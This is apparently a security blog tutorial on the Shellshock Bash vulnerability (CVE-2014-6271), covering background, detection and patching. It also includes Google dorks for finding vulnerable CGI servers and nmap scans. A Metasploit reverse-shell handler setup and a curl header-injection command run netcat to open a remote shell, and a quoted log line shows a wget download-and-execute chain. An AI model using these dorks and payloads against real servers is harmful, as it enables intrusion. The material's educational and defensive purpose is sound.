Loading ...

Exploit Shellshock Vulnerability CVE 2014-6271 using Metasploit

Study Reveals ShellShock Vulnerability Still Lingers on Global Servers

12 Oct 2021
3-5 min read


A recent study from July 2021 shows that the security vulnerability called ShellShock CVE-2014-6271 discovered in 2014 would still be present on a large number of servers in the world although patchs have been created since several years. An attacker could use this flaw to override or bypass environment restrictions to execute shell commands. Certain services and applications allow remote unauthenticated attackers to provide environment variables, allowing them to exploit this issue.

Shellshock, also known as Bashdoor, is a family of security bugs in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka “ShellShock”.

Anatomy Of the Attack

Test your environment

Just run this bash script in your system and you will see if you are vulnerable or not:

env 'VAR=() { :;}; echo Bash is vulnerable!' 'FUNCTION()=() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"

Is there threat to online banking?

This vulnerability is being actively exploited to target servers hosted on the Internet. Even some workstations running Linux and OSX are vulnerable, but an attacker would still need to find an attack vector that will work remotely against your desktop. Proof of concept targeting *nix workstation dhcp clients has been released, but most workstation dhcp process policies prevent actions from this sort of exploit by default.

Exploit attempts that we observed are targeting server vulnerabilities and downloading DDoS bots for further DDoS attacks. It is likely that servers hosting PII and handling sensitive merchant data are being attacked as well, but we have not yet observed it. There are merchants that unfortunately do not patch quickly.

Can I detect if someone has exploited this against me?

We would recommend reviewing your HTTP logs and check if there is anything suspicious. An example of a malicious pattern: – – [25/Sep/2014:14:00:00 +0000] "GET / HTTP/1.0"  400 349 "() { :; }; wget -O /tmp/besh; chmod 777 /tmp/besh; /tmp/besh;"

There are also some patches for bash that log every command that is being passed to the bash interpreter. This is a good way to see if someone has exploited your machine. It won’t prevent someone from exploiting this vulnerability, but it will log the attackers actions on the system.

How serious is the threat?

This bug is very dangerous indeed, but not EVERY system is vulnerable. Special conditions must be met for a web server to be exploited. One of the biggest problems now is that when patches are published, researchers will look for other ways to exploit bash, explore different conditions that enable it to be exploited, etc. So a patch that helps prevent remote code execution can’t do anything against, for example, a file overwrite. So there will probably be a series of patches and in the meantime systems are still vulnerable.

Is it the new Heartbleed?

Well, it’s much easier for a cybercriminal to exploit than Heartbleed. Also, in the case of Heartbleed, a cybercriminal could only steal data from memory, hoping to find something interesting. By contrast, the bash vulnerability makes full system control much more possible. So it would seem to be more dangerous.

Can it be used in future APT attacks?

It could be used for future malware development, of course. Malware could be used to automatically test infrastructure for such a bug, to infect the system or attack it in some other way.

CGI-Based Web Server

When a web server uses the Common Gateway Interface (CGI) to handle a document request, it passes various details of the request to a handler program in the environment variable list. For example, the variable HTTP_USER_AGENT has a value that, in normal usage, identifies the program sending the request. If the request handler is a Bash script, or if it executes one for example using the system(3) call, Bash will receive the environment variables passed by the server and will process them as described above. This provides a means for an attacker to trigger the Shellshock vulnerability with a specially crafted server request. Security documentation for the widely used Apache web server states: “CGI scripts can … be extremely dangerous if they are not carefully checked.” and other methods of handling web server requests are often used. There are a number of online services which attempt to test the vulnerability against web servers exposed to the Internet.

OpenSSH Server

OpenSSH has a “ForceCommand” feature, where a fixed command is executed when the user logs in, instead of just running an unrestricted command shell. The fixed command is executed even if the user specified that another command should be run; in that case the original command is put into the environment variable “SSH_ORIGINAL_COMMAND”. When the forced command is run in a Bash shell (if the user’s shell is set to Bash), the Bash shell will parse the SSH_ORIGINAL_COMMAND environment variable on start-up, and run the commands embedded in it. The user has used their restricted shell access to gain unrestricted shell access, using the Shellshock bug.

DHCP Clients

Some DHCP clients can also pass commands to Bash; a vulnerable system could be attacked when connecting to an open Wi-Fi network. A DHCP client typically requests and gets an IP address from a DHCP server, but it can also be provided a series of additional options. A malicious DHCP server could provide, in one of these options, a string crafted to execute code on a vulnerable workstation or laptop.

Qmail Server

When using Bash to process email messages (e.g. through .forward or qmail-alias piping), the qmail mail server passes external input through in a way that can exploit a vulnerable version of Bash.

How Do Mitigate this Vulnerability?

Until 24 September 2014, Bash maintainer Chet Ramey provided a patch version bash43-025 of Bash 4.3 addressing CVE-2014-6271, which was already packaged by distribution maintainers. On 24 September, bash43-026 followed, addressing CVE-2014-7169. Then CVE-2014-7186 was discovered. Florian Weimer from Red Hat posted some patch code for this “unofficially” on 25 September, which Ramey incorporated into Bash as bash43-027. These patches provided code only, helpful only for those who know how to compile (“rebuild”) a new Bash binary executable file from the patch file and remaining source code files.

The next day, Red Hat officially presented according updates for Red Hat Enterprise Linux, after another day for Fedora 21. Canonical Ltd. presented updates for its Ubuntu Long Term Support versions on Saturday, 27 September; on Sunday, there were updates for SUSE Linux Enterprise. He following Monday and Tuesday at the end of the month, Apple OS X updates appeared.

On 1 October 2014, Micha? Zalewski from Google Inc. finally stated that Weimer’s code and bash43-027 had fixed not only the first three bugs but even the remaining three that were published after bash43-027, including his own two discoveries.This means that after the earlier distribution updates, no other updates have been required to cover all the six issues.

Source: github.com

Google Dork

There is no doubt that there are thousand and one ways to find vulnerable targets for this type of attack. In order to cut short, we are going to use a non-exhaustive list of Google Dork to demonstrate how it's easy for a blackhat to build a list of potential vulnerable websites.

sitemap.xml filetype:xml intext:"cgi-bin"
filetype:sh inurl:cgi-bin
intitle:apache "cgi-bin"
inurl:"server-status" intitle:apache "cgi-bin"
inurl:cgi-bin "GATEWAY_INTERFACE = CGI"
inurl:cgi-bin inurl:printenv intext:SERVER_ADDR

Vulnerability Analysis

In order to detect the vulnerability, we can use nmap. To detect this vulnerability the script http-shellshock executes a command that prints a random string and then attempts to find it inside the response body. Web apps that don't print back information won't be detected with this method.

nmap -sV -p- --script http-shellshock <target>
nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls <target>


80/tcp open  http    syn-ack
| http-shellshock:
|   HTTP Shellshock vulnerability
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2014-6271
|       This web application might be affected by the vulnerability known as Shellshock. It seems the server
|       is executing commands injected via malicious HTTP headers.
|     Disclosure date: 2014-09-24
|     References:
|       http://www.openwall.com/lists/oss-security/2014/09/24/10
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
|       http://seclists.org/oss-sec/2014/q3/685
|       http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271

Once the vulnerability is discovered by the hacker, it can exploit it using Metasploit.

Create MSF Session

Once a potential flaw has been discovered in an environment, it can easily be exploited as demonstrated below. In order to open a session from our targeted website we will need to create an exploit multi-handler on our Metasploit. This can be done very quickly using the below commands.

msf > use exploit/multi/handler
msf exploit(multi/handler) > set LHOST
msf exploit(multi/handler) > set LPORT 4444
msf exploit(multi/handler) > set PAYLOAD linux/x86/shell/reverse_tcp
msf exploit(multi/handler) > show options



On the above example we are using a Linux X86 Shell Reverse TCP payload, off course the type of payload shall be different if we are targeting a Windows machine.

Exploit The Target

We are now going to send our exploit in order to create a reverse shell using a bash terminal and forward the traffic through the MSF handler using TCP protocol.

Bash Command

curl -k -H 'User-Agent: () { :;}; /bin/bash -c "nc YOUR-IP YOUR-PORT -e /bin/sh"' http://localhost:8080/cgi-bin/vulnerable

You are done !! If your targeted website is vulnerable to CVE-2014-7169 exploit, a session will be created in your Metasploit allowing you to take over the targeted server.

How To Protect Myself From Shellshock Vulnerabilities?

The answer is simple: patch your system. If your system is not yet patched, you have no one to blame but yourself. This vulnerability has been out for years, and pretty much all systems have patches available. To cut short, the best way to protect yourself against this type of vulnerability is to keep your system up to date applying all the fixes released for this exploit.

If you have any questions about this article, any feedback, suggestion, if you want to share your thoughts with us or either if you would like to join the community and contribute, please feel free to do it using the below comment form.


The ShellShock vulnerability (CVE-2014-6271), discovered in 2014, remains a persistent threat to servers worldwide. Despite patches being available for several years, a significant number of servers still harbor this flaw. Exploiting ShellShock allows attackers to override environment restrictions and execute arbitrary shell commands. Internet-facing services relying on the Unix Bash shell are particularly vulnerable, potentially granting unauthorized access to computer systems. Vigilance and timely updates are crucial to mitigate this ongoing security risk.

Nicolas C.
Created by
Nicolas C.

Don’t Want to Miss Anything?

Sign up for Newsletters

* Yes, I agree to the terms and privacy policy